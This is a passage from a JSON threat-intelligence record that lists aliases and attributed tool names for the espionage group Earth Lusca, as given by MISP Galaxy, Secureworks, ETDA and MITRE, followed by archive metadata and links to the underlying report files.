			"updated_at": "2026-04-10T02:00:03.312816Z",
			"deleted_at": null,
			"main_name": "Earth Lusca",
			"aliases": [
				"CHROMIUM",
				"ControlX",
				"TAG-22",
				"BRONZE UNIVERSITY",
				"AQUATIC PANDA",
				"RedHotel",
				"Charcoal Typhoon",
				"Red Scylla",
				"Red Dev 10",
				"BountyGlad"
			],
			"source_name": "MISPGALAXY:Earth Lusca",
			"tools": [
				"RouterGod",
				"SprySOCKS",
				"ShadowPad",
				"POISONPLUG",
				"Barlaiy",
				"Spyder",
				"FunnySwitch"
			],
			"source_id": "MISPGALAXY",
			"reports": null
		},
		{
			"id": "18a7b52d-a1cd-43a3-8982-7324e3e676b7",
			"created_at": "2025-08-07T02:03:24.688416Z",
			"updated_at": "2026-04-10T02:00:03.734754Z",
			"deleted_at": null,
			"main_name": "BRONZE UNIVERSITY",
			"aliases": [
				"Aquatic Panda",
				"Aquatic Panda ",
				"CHROMIUM",
				"CHROMIUM ",
				"Charcoal Typhoon",
				"Charcoal Typhoon ",
				"Earth Lusca",
				"Earth Lusca ",
				"FISHMONGER ",
				"Red Dev 10",
				"Red Dev 10 ",
				"Red Scylla",
				"Red Scylla ",
				"RedHotel",
				"RedHotel ",
				"Tag-22",
				"Tag-22 "
			],
			"source_name": "Secureworks:BRONZE UNIVERSITY",
			"tools": [
				"Cobalt Strike",
				"Fishmaster",
				"FunnySwitch",
				"Spyder",
				"njRAT"
			],
			"source_id": "Secureworks",
			"reports": null
		},
		{
			"id": "6abcc917-035c-4e9b-a53f-eaee636749c3",
			"created_at": "2022-10-25T16:07:23.565337Z",
			"updated_at": "2026-04-10T02:00:04.668393Z",
			"deleted_at": null,
			"main_name": "Earth Lusca",
			"aliases": [
				"Bronze University",
				"Charcoal Typhoon",
				"Chromium",
				"G1006",
				"Red Dev 10",
				"Red Scylla"
			],
			"source_name": "ETDA:Earth Lusca",
			"tools": [
				"Agentemis",
				"AntSword",
				"BIOPASS",
				"BIOPASS RAT",
				"BadPotato",
				"Behinder",
				"BleDoor",
				"Cobalt Strike",
				"CobaltStrike",
				"Doraemon",
				"FRP",
				"Fast Reverse Proxy",
				"FunnySwitch",
				"HUC Port Banner Scanner",
				"KTLVdoor",
				"Mimikatz",
				"NBTscan",
				"POISONPLUG.SHADOW",
				"PipeMon",
				"RbDoor",
				"RibDoor",
				"RouterGod",
				"SAMRID",
				"ShadowPad Winnti",
				"SprySOCKS",
				"WinRAR",
				"Winnti",
				"XShellGhost",
				"cobeacon",
				"fscan",
				"lcx",
				"nbtscan"
			],
			"source_id": "ETDA",
			"reports": null
		},
		{
			"id": "d53593c3-2819-4af3-bf16-0c39edc64920",
			"created_at": "2022-10-27T08:27:13.212301Z",
			"updated_at": "2026-04-10T02:00:05.272802Z",
			"deleted_at": null,
			"main_name": "Earth Lusca",
			"aliases": [
				"Earth Lusca",
				"TAG-22",
				"Charcoal Typhoon",
				"CHROMIUM",
				"ControlX"
			],
			"source_name": "MITRE:Earth Lusca",
			"tools": [
				"Mimikatz",
				"PowerSploit",
				"Tasklist",
				"certutil",
				"Cobalt Strike",
				"Winnti for Linux",
				"Nltest",
				"NBTscan",
				"ShadowPad"
			],
			"source_id": "MITRE",
			"reports": null
		}
	],
	"ts_created_at": 1775433999,
	"ts_updated_at": 1775792208,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/6aeada561ca510c6ce740b526b27c34bb4ca6d7c.pdf",
		"text": "https://archive.orkl.eu/6aeada561ca510c6ce740b526b27c34bb4ca6d7c.txt",
		"img": "https://archive.orkl.eu/6aeada561ca510c6ce740b526b27c34bb4ca6d7c.jpg"
	}
}